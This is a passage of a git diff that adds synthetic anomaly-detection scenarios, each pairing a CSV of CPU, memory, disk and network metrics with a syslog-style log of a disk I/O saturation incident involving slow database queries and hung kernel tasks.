0000000000000000000000000000000000000000..d7c4b52e4adb3b3421ae3147fe2fcda40c2566f0 --- /dev/null +++ b/anom_dataset/scenario_4/anom_4_16.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T11:00:00Z,19.67,39.65,29.36,0.76,1.22 +2025-07-02T11:00:05Z,16.31,41.71,34.93,1.03,1.21 +2025-07-02T11:00:10Z,18.43,41.02,30.33,1.16,1.37 +2025-07-02T11:00:15Z,20.69,41.56,27.14,0.88,1.4 +2025-07-02T11:00:20Z,15.29,41.88,22.05,1.18,1.37 +2025-07-02T11:00:25Z,17.6,39.37,24.62,0.71,1.03 +2025-07-02T11:00:30Z,17.17,39.03,25.91,1.16,1.21 +2025-07-02T11:00:35Z,18.36,38.52,24.31,1.08,1.37 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+2025-07-02T11:07:20Z,26.78,41.28,28.29,0.84,1.03 +2025-07-02T11:07:25Z,21.72,38.81,27.54,0.74,1.22 diff --git a/anom_dataset/scenario_4/anom_4_16.log b/anom_dataset/scenario_4/anom_4_16.log new file mode 100644 index 0000000000000000000000000000000000000000..9e1695443a145d256ba0f13d08c9bc73dcd7e95d --- /dev/null +++ b/anom_dataset/scenario_4/anom_4_16.log @@ -0,0 +1,23 @@ +Jul 02 11:00:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:00:00 systemd[1]: Starting Daily apt download activities... +Jul 02 11:00:10 systemd[1]: Finished Daily apt download activities. +Jul 02 11:01:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:02:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:02:05 systemd[1]: Starting Daily apt download activities... +Jul 02 11:02:15 systemd[1]: Finished Daily apt download activities. +Jul 02 11:03:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:03:30 mysqld[5678]: WARNING: Query execution was slow: 15.2 seconds, query: SELECT * FROM users; +Jul 02 11:03:45 kernel: [165678.910112] INFO: task mysqld:5678 blocked for more than 120 seconds. +Jul 02 11:03:50 kernel: [165678.910118] Not tainted 5.4.0-80-generic #90-Ubuntu +Jul 02 11:03:55 kernel: [165678.910121] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. +Jul 02 11:04:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:04:10 systemd[1]: Starting Daily apt download activities... +Jul 02 11:04:20 systemd[1]: Finished Daily apt download activities. +Jul 02 11:04:35 mysqld[5678]: ERROR: Lock wait timeout exceeded; try restarting transaction for table 'orders' +Jul 02 11:05:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:05:25 file-backup[9870]: ERROR: Failed to write to backup file /var/backups/app.bak: Disk write failed. +Jul 02 11:06:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:06:15 systemd[1]: Starting Daily apt download activities... +Jul 02 11:06:15 kernel: [165848.130210] INFO: task file-backup:9870 blocked for more than 120 seconds. +Jul 02 11:06:25 systemd[1]: Finished Daily apt download activities. +Jul 02 11:07:00 kubelet[2345]: INFO routine sync completed for pod web-app diff --git a/anom_dataset/scenario_4/anom_4_17.csv b/anom_dataset/scenario_4/anom_4_17.csv new file mode 100644 index 0000000000000000000000000000000000000000..6087e8271d7aa37edcbd320800ade5342e10736e --- /dev/null +++ b/anom_dataset/scenario_4/anom_4_17.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T14:00:00Z,10.21,41.75,34.17,1.44,1.54 +2025-08-15T14:00:05Z,14.9,40.55,20.54,0.89,1.48 +2025-08-15T14:00:10Z,12.9,40.12,27.39,1.32,1.13 +2025-08-15T14:00:15Z,14.4,43.04,34.53,1.17,1.16 +2025-08-15T14:00:20Z,12.5,43.05,23.86,1.06,1.69 +2025-08-15T14:00:25Z,14.03,43.67,25.02,1.11,1.44 +2025-08-15T14:00:30Z,9.91,40.79,20.26,0.81,1.4 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+2025-08-15T14:05:35Z,60.79,45.54,95.22,0.27,0.49 +2025-08-15T14:05:40Z,61.67,42.32,96.46,0.36,0.58 +2025-08-15T14:05:45Z,51.22,41.78,99.77,0.45,0.44 +2025-08-15T14:05:50Z,11.56,42.27,30.42,1.43,1.25 +2025-08-15T14:05:55Z,10.28,44.35,26.51,1.43,1.42 +2025-08-15T14:06:00Z,14.97,40.58,31.2,1.42,1.59 +2025-08-15T14:06:05Z,8.11,44.21,27.76,1.07,1.67 +2025-08-15T14:06:10Z,8.29,44.47,33.96,0.84,1.38 +2025-08-15T14:06:15Z,8.99,43.14,26.75,1.46,1.57 +2025-08-15T14:06:20Z,14.41,40.69,23.11,1.41,1.68 +2025-08-15T14:06:25Z,10.66,42.15,20.57,1.1,1.69 +2025-08-15T14:06:30Z,8.71,40.8,27.09,1.05,1.57 +2025-08-15T14:06:35Z,10.14,44.31,26.5,1.34,1.6 +2025-08-15T14:06:40Z,13.89,42.53,34.0,1.05,1.54 +2025-08-15T14:06:45Z,9.67,41.5,20.97,0.94,1.58 +2025-08-15T14:06:50Z,8.74,42.35,34.11,1.3,1.73 +2025-08-15T14:06:55Z,11.84,40.1,32.19,0.98,1.1 +2025-08-15T14:07:00Z,10.63,41.06,26.41,0.9,1.31 +2025-08-15T14:07:05Z,8.48,42.8,26.5,1.0,1.16 +2025-08-15T14:07:10Z,11.37,40.67,34.88,1.19,1.27 +2025-08-15T14:07:15Z,10.05,41.48,32.32,0.87,1.66 +2025-08-15T14:07:20Z,14.0,44.82,22.63,0.85,1.25 +2025-08-15T14:07:25Z,13.9,44.07,34.68,1.42,1.58 diff --git a/anom_dataset/scenario_4/anom_4_17.log b/anom_dataset/scenario_4/anom_4_17.log new file mode 100644 index 0000000000000000000000000000000000000000..06394b8f39cb80945823e7424f17ebd77152a684 --- /dev/null +++ b/anom_dataset/scenario_4/anom_4_17.log @@ -0,0 +1,16 @@ +Aug 15 14:00:10 systemd[1]: Started Session 42 of user monitoring. +Aug 15 14:00:25 sshd[18231]: Accepted publickey for monitoring from 10.0.1.15 port 49822 ssh2 +Aug 15 14:00:50 cron[11432]: (root) CMD ( /usr/local/bin/backup.sh) +Aug 15 14:01:00 kubelet[2345]: INFO: routine sync completed for pod backend-app-12 +Aug 15 14:02:00 kubelet[2345]: INFO: routine sync completed for pod backend-app-24 +Aug 15 14:02:40 mysqld[5432]: WARN: InnoDB: A long-running query is causing performance issues. +Aug 15 14:03:00 kubelet[2345]: INFO: routine sync completed for pod backend-app-36 +Aug 15 14:03:20 kernel: [1829.423] INFO: task mysqld:123 blocked for more than 120 seconds. +Aug 15 14:03:45 app-worker[8871]: ERROR: Timeout writing to cache file /var/tmp/app_cache.dat +Aug 15 14:04:00 kubelet[2345]: INFO: routine sync completed for pod backend-app-48 +Aug 15 14:04:35 kernel: [1949.511] Not tainted 5.4.0-109-generic #123-Ubuntu +Aug 15 14:05:00 kernel: [2009.584] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. +Aug 15 14:05:00 kubelet[2345]: INFO: routine sync completed for pod backend-app-60 +Aug 15 14:05:25 mysqld[5432]: INFO: Query completed after 185 seconds. High disk latency detected. +Aug 15 14:06:00 kubelet[2345]: INFO: routine sync completed for pod backend-app-72 +Aug 15 14:07:00 kubelet[2345]: INFO: routine sync completed for pod backend-app-84 diff --git a/anom_dataset/scenario_4/anom_4_18.csv b/anom_dataset/scenario_4/anom_4_18.csv new file mode 100644 index 0000000000000000000000000000000000000000..43c827d787db6083db166f1d4ea77382e30fdfaa --- /dev/null +++ b/anom_dataset/scenario_4/anom_4_18.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T09:00:00Z,17.01,39.13,29.36,0.61,1.25 +2025-08-15T09:00:05Z,11.97,44.27,34.93,1.15,1.22 +2025-08-15T09:00:10Z,15.14,42.55,30.33,1.41,1.55 +2025-08-15T09:00:15Z,18.54,43.9,27.14,0.87,1.6 +2025-08-15T09:00:20Z,10.43,44.7,22.05,1.46,1.55 +2025-08-15T09:00:25Z,13.9,38.42,24.62,0.52,0.87 +2025-08-15T09:00:30Z,13.26,37.58,25.91,1.42,1.22 +2025-08-15T09:00:35Z,15.05,36.3,24.31,1.26,1.55 +2025-08-15T09:00:40Z,17.49,41.66,25.31,1.41,1.2 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+2025-08-15T09:07:25Z,22.15,36.36,35.89,1.03,1.24 diff --git a/anom_dataset/scenario_4/anom_4_18.log b/anom_dataset/scenario_4/anom_4_18.log new file mode 100644 index 0000000000000000000000000000000000000000..004ebf4b09d955bf5243298cc3c27c2fe5ad5fa8 --- /dev/null +++ b/anom_dataset/scenario_4/anom_4_18.log @@ -0,0 +1,37 @@ +Aug 15 09:00:01 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 09:00:05 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 09:00:10 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 09:00:16 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 09:00:18 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 09:00:23 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 09:00:30 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 09:00:34 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 09:00:39 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 09:00:45 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 09:00:50 systemd[1]: Started Session 5 of user admin. +Aug 15 09:00:51 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 09:00:53 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 09:01:01 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 09:01:03 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 09:01:11 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 09:01:14 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 09:01:15 cron[18231]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 09:01:20 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 09:01:26 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 09:01:31 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 09:01:35 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 09:02:05 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Aug 15 09:02:31 kubelet[2345]: INFO Liveness probe for pod db-backup-job succeeded +Aug 15 09:02:57 kernel: [12345.678] INFO: task mysqld:123 blocked for more than 120 seconds. +Aug 15 09:02:57 kernel: [12345.679] Tainted: G O 5.4.0-100-generic #113-Ubuntu +Aug 15 09:02:57 kernel: [12345.680] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. +Aug 15 09:03:21 kubelet[2345]: INFO Liveness probe for pod db-backup-job succeeded +Aug 15 09:03:48 api-server[5421]: [WARN] database query for user 'report_user' is taking longer than 30s +Aug 15 09:04:09 kubelet[2345]: INFO Liveness probe for pod db-backup-job succeeded +Aug 15 09:04:39 backup-script[9876]: ERROR: Failed to write to /mnt/backups/db_dump.sql: Write timeout +Aug 15 09:05:00 kubelet[2345]: INFO Liveness probe for pod db-backup-job succeeded +Aug 15 09:05:26 kernel: [12465.111] INFO: task fio:456 blocked for more than 120 seconds. +Aug 15 09:05:26 kernel: [12465.112] Tainted: G O 5.4.0-100-generic #113-Ubuntu +Aug 15 09:05:48 kubelet[2345]: INFO Liveness probe for pod db-backup-job succeeded +Aug 15 09:06:40 kubelet[2345]: INFO Liveness probe for pod db-backup-job succeeded +Aug 15 09:06:40 systemd[1]: session-5.scope: Succeeded. diff --git a/anom_dataset/scenario_4/anom_4_19.csv b/anom_dataset/scenario_4/anom_4_19.csv new file mode 100644 index 0000000000000000000000000000000000000000..fcff7820c6c6376700c0c21bd6c6dd9aa0a47239 --- /dev/null +++ b/anom_dataset/scenario_4/anom_4_19.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T09:00:00Z,22.01,42.06,38.73,0.88,1.36 +2025-08-15T09:00:05Z,16.97,44.64,49.85,1.26,1.33 +2025-08-15T09:00:10Z,20.14,43.78,40.67,1.44,1.6 +2025-08-15T09:00:15Z,23.54,44.45,34.29,1.06,1.64 +2025-08-15T09:00:20Z,15.43,44.85,24.11,1.47,1.6 +2025-08-15T09:00:25Z,18.9,41.71,29.23,0.81,1.05 +2025-08-15T09:00:30Z,18.26,41.29,31.81,1.44,1.34 +2025-08-15T09:00:35Z,20.05,40.65,28.63,1.33,1.6 +2025-08-15T09:00:40Z,22.49,43.33,30.61,1.44,1.32 +2025-08-15T09:00:45Z,23.21,43.02,44.85,0.94,1.03 +2025-08-15T09:00:50Z,24.33,40.62,31.74,1.01,1.51 +2025-08-15T09:00:55Z,27.69,42.02,27.92,1.12,1.16 +2025-08-15T09:01:00Z,26.89,43.56,26.94,1.21,1.36 +2025-08-15T09:01:05Z,18.75,40.71,41.33,0.8,1.78 +2025-08-15T09:01:10Z,25.42,42.53,37.76,0.91,1.07 +2025-08-15T09:01:15Z,25.76,41.25,35.77,1.01,1.41 +2025-08-15T09:01:20Z,15.54,44.12,37.88,0.88,1.43 +2025-08-15T09:01:25Z,17.37,44.3,40.69,1.17,1.4 +2025-08-15T09:01:30Z,24.64,40.58,39.42,1.25,1.09 +2025-08-15T09:01:35Z,19.69,43.96,21.95,0.81,1.26 +2025-08-15T09:01:40Z,17.8,40.82,23.91,1.34,1.8 +2025-08-15T09:01:45Z,16.0,43.81,26.89,0.87,1.7 +2025-08-15T09:01:50Z,27.46,41.67,30.04,1.38,1.71 +2025-08-15T09:01:55Z,28.38,44.54,27.78,1.48,1.25 +2025-08-15T09:02:00Z,18.68,43.62,33.73,1.4,1.38 +2025-08-15T09:02:05Z,23.06,41.1,34.38,0.93,1.15 +2025-08-15T09:02:10Z,24.66,41.42,41.11,1.35,1.38 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+2025-08-15T09:07:15Z,57.47,43.71,97.6,0.34,0.39 +2025-08-15T09:07:20Z,63.26,42.32,99.04,0.42,0.56 +2025-08-15T09:07:25Z,76.49,41.68,98.16,0.36,0.38 diff --git a/anom_dataset/scenario_4/anom_4_19.log b/anom_dataset/scenario_4/anom_4_19.log new file mode 100644 index 0000000000000000000000000000000000000000..10d0f8ca37ea0e70ebd3bfaf8bca6a1ff910ea05 --- /dev/null +++ b/anom_dataset/scenario_4/anom_4_19.log @@ -0,0 +1,17 @@ +Aug 15 09:00:02 systemd[1]: Started Session 5 of user db_admin. +Aug 15 09:00:07 sshd[14567]: Accepted publickey for db_admin from 10.0.2.5 port 48922 ssh2 +Aug 15 09:00:35 CRON[14601]: (root) CMD ( /usr/sbin/logrotate /etc/logrotate.conf) +Aug 15 09:01:20 kernel: [12345.678] audit: type=1400 audit(1723712480.123:45): apparmor="ALLOWED" operation="open" profile="/usr/sbin/mysqld" name="/proc/7/status" pid=14620 comm="mysqld" requested_mask="r" denied_mask="r" fsuid=111 ouid=111 +Aug 15 09:02:05 mysqld[14620]: INFO Creating summary table for monthly report... +Aug 15 09:02:42 mysqld[14620]: WARNING: Slow query took 12.56 seconds: SELECT * FROM user_activity WHERE date > '2025-08-14'; +Aug 15 09:02:55 mysqld[14620]: ERROR 2013 (HY000): Lost connection to MySQL server during query +Aug 15 09:03:15 file-processor[8910]: ERROR Timeout waiting for file operation on /data/archive/batch_job_198.dat +Aug 15 09:03:40 mysqld[14620]: WARNING: Slow query took 21.89 seconds: UPDATE large_index_table SET status='processed'; +Aug 15 09:04:38 kernel: [12473.812] INFO: task mysqld:14620 blocked for more than 120 seconds. +Aug 15 09:04:39 kernel: [12474.813] Tainted: P O 5.4.0-150-generic #167-Ubuntu +Aug 15 09:04:40 kernel: [12475.814] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. +Aug 15 09:04:41 kernel: [12476.815] mysqld D 0000000000000000 0 14620 1 0x00000080 +Aug 15 09:04:45 kernel: [12480.910] INFO: task file-processor:8910 blocked for more than 120 seconds. +Aug 15 09:05:05 systemd[1]: Starting Cleanup of Temporary Directories... +Aug 15 09:05:40 systemd[1]: systemd-tmpfiles-clean.service: Succeeded. +Aug 15 09:06:40 CRON[15721]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) diff --git a/anom_dataset/scenario_4/anom_4_2.csv b/anom_dataset/scenario_4/anom_4_2.csv new file mode 100644 index 0000000000000000000000000000000000000000..5cf8f9edd66bb444e2685a9729d1cf8c5222a8dc --- /dev/null +++ b/anom_dataset/scenario_4/anom_4_2.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-16T10:00:00Z,18.73,37.62,27.25,0.6,1.61 +2025-07-16T10:00:05Z,10.8,40.28,31.39,1.28,1.68 +2025-07-16T10:00:10Z,14.84,42.17,30.45,0.98,1.55 +2025-07-16T10:00:15Z,15.54,41.68,35.82,0.96,1.53 +2025-07-16T10:00:20Z,14.69,38.86,27.1,0.72,1.98 +2025-07-16T10:00:25Z,14.8,41.51,20.1,0.77,1.46 +2025-07-16T10:00:30Z,16.98,41.8,31.17,1.05,1.34 +2025-07-16T10:00:35Z,15.82,38.32,30.46,1.07,1.91 +2025-07-16T10:00:40Z,16.15,41.95,23.15,1.15,1.28 +2025-07-16T10:00:45Z,7.78,41.21,23.93,0.93,1.84 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a/anom_dataset/scenario_4/anom_4_2.log b/anom_dataset/scenario_4/anom_4_2.log new file mode 100644 index 0000000000000000000000000000000000000000..009efc911e87d6661f20caa7d5699387e8a156da --- /dev/null +++ b/anom_dataset/scenario_4/anom_4_2.log @@ -0,0 +1,40 @@ +Jul 16 10:00:45 cron[12578]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 16 10:01:20 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Jul 16 10:01:45 sshd[5009]: Accepted publickey for admin from 10.0.2.15 port 43297 ssh2 +Jul 16 10:02:00 sshd[5009]: Accepted publickey for admin from 10.0.2.15 port 43297 ssh2 +Jul 16 10:02:20 cron[12578]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 16 10:02:40 kubelet[2345]: INFO Liveness probe for container "api-gateway-v2" succeeded +Jul 16 10:02:55 sshd[5009]: Accepted publickey for admin from 10.0.2.15 port 43297 ssh2 +Jul 16 10:03:00 mysqld[3451]: ERROR [InnoDB] Failed to write to binary log. Disk I/O is slow. +Jul 16 10:03:00 systemd[1]: Started Session 169 of user devops. +Jul 16 10:03:05 mysqld[3451]: ERROR [InnoDB] Failed to write to binary log. Disk I/O is slow. +Jul 16 10:03:10 kernel[0]: INFO: task kworker/0:1H:24 blocked for more than 120 seconds. +Jul 16 10:03:10 nginx[1123]: POST /api/v1/data HTTP/1.1 201 CREATED +Jul 16 10:03:30 mysqld[3451]: ERROR [InnoDB] Failed to write to binary log. Disk I/O is slow. +Jul 16 10:03:35 api-server[8080]: ERROR Request timeout: failed to read from upstream database in 30s. +Jul 16 10:03:45 mysqld[3451]: WARN [InnoDB] A long-running query is causing performance degradation. +Jul 16 10:03:50 sshd[5009]: Accepted publickey for admin from 10.0.2.15 port 43297 ssh2 +Jul 16 10:03:55 auditd[1001]: User login succeeded for user ubuntu (uid=1000) +Jul 16 10:04:05 auditd[1001]: User login succeeded for user ubuntu (uid=1000) +Jul 16 10:04:10 systemd[1]: Started Session 169 of user devops. +Jul 16 10:04:20 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Jul 16 10:04:35 auditd[1001]: User login succeeded for user ubuntu (uid=1000) +Jul 16 10:04:40 api-server[8080]: WARN High latency detected for GET /api/v1/users. +Jul 16 10:04:45 systemd[1]: Started Session 169 of user devops. +Jul 16 10:04:50 database-backup.sh[18765]: INFO Starting database backup process. +Jul 16 10:04:55 api-server[8080]: WARN High latency detected for GET /api/v1/users. +Jul 16 10:05:05 mysqld[3451]: ERROR [InnoDB] Failed to write to binary log. Disk I/O is slow. +Jul 16 10:05:10 cron[12578]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 16 10:05:15 mysqld[3451]: ERROR [InnoDB] Failed to write to binary log. Disk I/O is slow. +Jul 16 10:05:25 file-processor[9012]: WARN File processing for batch "batch-11157.zip" is taking longer than expected. Check disk I/O. +Jul 16 10:05:25 systemd[1]: Started Session 169 of user devops. +Jul 16 10:05:30 auditd[1001]: User login succeeded for user ubuntu (uid=1000) +Jul 16 10:05:30 file-processor[9012]: WARN File processing for batch "batch-11157.zip" is taking longer than expected. Check disk I/O. +Jul 16 10:05:35 kernel[0]: Tainted: G W 5.4.0-109-generic #123-Ubuntu +Jul 16 10:05:45 api-server[8080]: ERROR Request timeout: failed to read from upstream database in 30s. +Jul 16 10:05:50 mysqld[3451]: WARN [InnoDB] A long-running query is causing performance degradation. +Jul 16 10:05:55 sshd[5009]: Accepted publickey for admin from 10.0.2.15 port 43297 ssh2 +Jul 16 10:06:00 database-backup.sh[18765]: INFO Backup completed successfully. +Jul 16 10:06:10 kubelet[2345]: INFO Liveness probe for container "api-gateway-v2" succeeded +Jul 16 10:06:55 kubelet[2345]: INFO Liveness probe for container "api-gateway-v2" succeeded +Jul 16 10:07:15 sshd[5009]: Accepted publickey for admin from 10.0.2.15 port 43297 ssh2 diff --git a/anom_dataset/scenario_4/anom_4_20.csv b/anom_dataset/scenario_4/anom_4_20.csv new file mode 100644 index 0000000000000000000000000000000000000000..acb4e8941ab1d56591118d8f27e7bf239a815df3 --- /dev/null +++ b/anom_dataset/scenario_4/anom_4_20.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-24T10:00:00Z,16.67,40.76,30.27,1.35,1.73 +2025-08-24T10:00:05Z,23.18,40.31,25.71,1.14,1.12 +2025-08-24T10:00:10Z,16.17,42.39,30.18,1.27,1.59 +2025-08-24T10:00:15Z,17.00,41.77,23.72,1.35,1.75 +2025-08-24T10:00:20Z,22.69,44.32,34.00,1.38,1.60 +2025-08-24T10:00:25Z,18.05,43.95,23.00,0.97,1.64 +2025-08-24T10:00:30Z,23.78,44.09,23.29,1.13,1.21 +2025-08-24T10:00:35Z,18.72,41.02,22.54,1.00,1.51 +2025-08-24T10:00:40Z,21.30,42.93,33.84,1.17,1.78 +2025-08-24T10:00:45Z,17.11,42.72,20.17,1.09,1.41 +2025-08-24T10:00:50Z,20.10,41.54,26.89,1.03,1.73 +2025-08-24T10:00:55Z,19.29,43.24,28.11,0.84,1.75 +2025-08-24T10:01:00Z,18.64,40.62,34.07,1.08,1.79 +2025-08-24T10:01:05Z,21.30,40.75,29.05,1.04,1.39 +2025-08-24T10:01:10Z,16.40,41.95,26.91,0.96,1.73 +2025-08-24T10:01:15Z,24.69,44.75,24.80,1.41,1.16 +2025-08-24T10:01:20Z,23.11,42.19,31.42,0.89,1.67 +2025-08-24T10:01:25Z,18.55,43.12,22.85,1.06,1.44 +2025-08-24T10:01:30Z,16.57,43.75,21.03,1.40,1.02 +2025-08-24T10:01:35Z,16.73,44.66,24.38,1.50,1.51 +2025-08-24T10:01:40Z,16.13,41.65,28.03,0.85,1.48 +2025-08-24T10:01:45Z,22.38,40.67,31.76,1.25,1.30 +2025-08-24T10:01:50Z,21.77,42.28,20.67,1.44,1.22 +2025-08-24T10:01:55Z,20.47,43.62,31.47,1.08,1.07 +2025-08-24T10:02:00Z,17.96,44.29,25.93,1.20,1.15 +2025-08-24T10:02:05Z,23.19,40.59,26.14,0.88,1.30 +2025-08-24T10:02:10Z,24.53,43.81,26.84,1.29,1.01 +2025-08-24T10:02:15Z,21.34,41.43,28.85,1.17,1.54 +2025-08-24T10:02:20Z,16.96,41.77,22.00,0.83,1.58 +2025-08-24T10:02:25Z,22.19,43.96,28.52,0.88,1.53 +2025-08-24T10:02:30Z,25.00,45.69,35.00,1.05,1.43 +2025-08-24T10:02:35Z,32.68,43.32,45.53,1.08,1.27 +2025-08-24T10:02:40Z,41.36,45.07,56.10,1.06,1.21 +2025-08-24T10:02:45Z,51.73,42.38,67.17,0.93,1.25 +2025-08-24T10:02:50Z,55.73,43.40,75.00,0.93,1.16 +2025-08-24T10:02:55Z,64.05,43.39,88.88,0.87,1.06 +2025-08-24T10:03:00Z,81.81,41.95,96.06,0.18,0.33 +2025-08-24T10:03:05Z,79.26,41.85,95.35,0.28,0.38 +2025-08-24T10:03:10Z,75.99,44.83,97.84,0.33,0.41 +2025-08-24T10:03:15Z,73.23,42.81,96.82,0.34,0.60 +2025-08-24T10:03:20Z,76.33,45.63,99.82,0.48,0.50 +2025-08-24T10:03:25Z,77.66,41.91,98.40,0.33,0.46 +2025-08-24T10:03:30Z,83.04,45.94,96.38,0.35,0.67 +2025-08-24T10:03:35Z,89.79,46.35,99.12,0.48,0.64 +2025-08-24T10:03:40Z,81.49,42.45,97.47,0.20,0.50 +2025-08-24T10:03:45Z,78.94,45.55,95.37,0.20,0.44 +2025-08-24T10:03:50Z,78.01,46.55,96.72,0.35,0.43 +2025-08-24T10:03:55Z,72.77,45.17,98.48,0.35,0.39 +2025-08-24T10:04:00Z,80.33,45.74,96.49,0.15,0.49 +2025-08-24T10:04:05Z,77.60,41.92,99.74,0.25,0.51 +2025-08-24T10:04:10Z,70.66,42.01,99.50,0.26,0.44 +2025-08-24T10:04:15Z,77.31,41.97,96.76,0.33,0.47 +2025-08-24T10:04:20Z,66.28,41.21,98.70,0.39,0.43 +2025-08-24T10:04:25Z,73.30,41.29,97.79,0.47,0.60 +2025-08-24T10:04:30Z,66.34,43.00,97.15,0.30,0.49 +2025-08-24T10:04:35Z,81.96,43.80,99.62,0.55,0.55 +2025-08-24T10:04:40Z,75.63,45.77,98.24,0.50,0.37 +2025-08-24T10:04:45Z,73.43,46.66,98.75,0.27,0.41 +2025-08-24T10:04:50Z,76.18,42.95,97.22,0.32,0.29 +2025-08-24T10:04:55Z,79.97,45.33,95.44,0.15,0.35 +2025-08-24T10:05:00Z,81.03,44.79,98.27,0.18,0.23 +2025-08-24T10:05:05Z,80.61,43.82,95.36,0.28,0.35 +2025-08-24T10:05:10Z,82.10,41.59,97.83,0.18,0.27 +2025-08-24T10:05:15Z,88.92,44.12,96.50,0.31,0.50 +2025-08-24T10:05:20Z,78.96,41.37,98.50,0.28,0.45 +2025-08-24T10:05:25Z,76.83,44.75,96.03,0.40,0.49 +2025-08-24T10:05:30Z,77.58,41.96,99.87,0.46,0.61 +2025-08-24T10:05:35Z,74.62,46.21,96.01,0.41,0.40 +2025-08-24T10:05:40Z,74.01,45.46,98.53,0.51,0.45 +2025-08-24T10:05:45Z,78.01,44.91,98.80,0.43,0.47 +2025-08-24T10:05:50Z,66.42,46.06,99.87,0.19,0.50 +2025-08-24T10:05:55Z,74.56,44.03,97.13,0.40,0.33 +2025-08-24T10:06:00Z,74.54,43.69,97.76,0.13,0.40 +2025-08-24T10:06:05Z,67.64,45.63,98.14,0.29,0.41 +2025-08-24T10:06:10Z,81.03,43.06,99.80,0.25,0.27 +2025-08-24T10:06:15Z,72.27,44.53,96.96,0.32,0.50 +2025-08-24T10:06:20Z,76.22,45.79,96.36,0.31,0.38 +2025-08-24T10:06:25Z,74.07,46.36,95.37,0.38,0.60 +2025-08-24T10:06:30Z,86.99,44.33,97.93,0.52,0.53 +2025-08-24T10:06:35Z,81.54,42.38,96.72,0.30,0.42 +2025-08-24T10:06:40Z,76.49,41.31,95.55,0.29,0.45 +2025-08-24T10:06:45Z,75.67,45.68,99.56,0.53,0.34 +2025-08-24T10:06:50Z,87.44,41.88,98.02,0.34,0.46 +2025-08-24T10:06:55Z,80.23,44.27,98.83,0.21,0.37 +2025-08-24T10:07:00Z,79.97,46.71,99.07,0.30,0.41 +2025-08-24T10:07:05Z,71.98,44.28,99.87,0.40,0.43 +2025-08-24T10:07:10Z,70.68,44.42,97.37,0.30,0.28 +2025-08-24T10:07:15Z,81.46,44.10,97.90,0.35,0.52 +2025-08-24T10:07:20Z,73.49,42.46,99.62,0.45,0.58 +2025-08-24T10:07:25Z,79.91,45.89,95.17,0.50,0.57 diff --git a/anom_dataset/scenario_4/anom_4_20.log b/anom_dataset/scenario_4/anom_4_20.log new file mode 100644 index 0000000000000000000000000000000000000000..4c2d8a4506126882d1229fdacaa382db40649805 --- /dev/null +++ b/anom_dataset/scenario_4/anom_4_20.log @@ -0,0 +1,20 @@ +Aug 24 10:00:05 systemd[1]: Started Session 1 of user service_account. +Aug 24 10:00:15 cron[1122]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 24 10:01:01 systemd[1]: Starting Clean php session files... +Aug 24 10:01:20 auditd[1]: User login succeeded for user admin (uid=1001) +Aug 24 10:01:45 mariadbd[1234]: INFO: [InnoDB] Starting recovery for optimistic transaction. +Aug 24 10:02:10 nginx[2233]: GET /api/health HTTP/1.1 200 OK +Aug 24 10:02:30 systemd[1]: Starting Daily backup service... +Aug 24 10:02:35 backup.sh[3100]: INFO: Starting full database and file system backup. This may cause high I/O. +Aug 24 10:03:05 mariadbd[1234]: WARNING: [InnoDB] A transaction is taking longer than 30 seconds to commit. +Aug 24 10:03:15 app-server[3210]: ERROR: Timeout while writing user session to disk: '/var/sessions/session_xyz.tmp' +Aug 24 10:03:40 mariadbd[1234]: WARNING: [InnoDB] Database query has been waiting for file I/O for 45 seconds. +Aug 24 10:04:00 app-server[3210]: ERROR: Failed to write to log file /var/log/app/access.log due to I/O error. +Aug 24 10:04:25 nginx[2233]: GET /api/data HTTP/1.1 503 Service Unavailable +Aug 24 10:05:05 kernel: [112345.678] INFO: task mysqld:1234 blocked for more than 120 seconds. +Aug 24 10:05:05 kernel: [112345.679] Tainted: G W 5.4.0-150-generic #167-Ubuntu +Aug 24 10:05:05 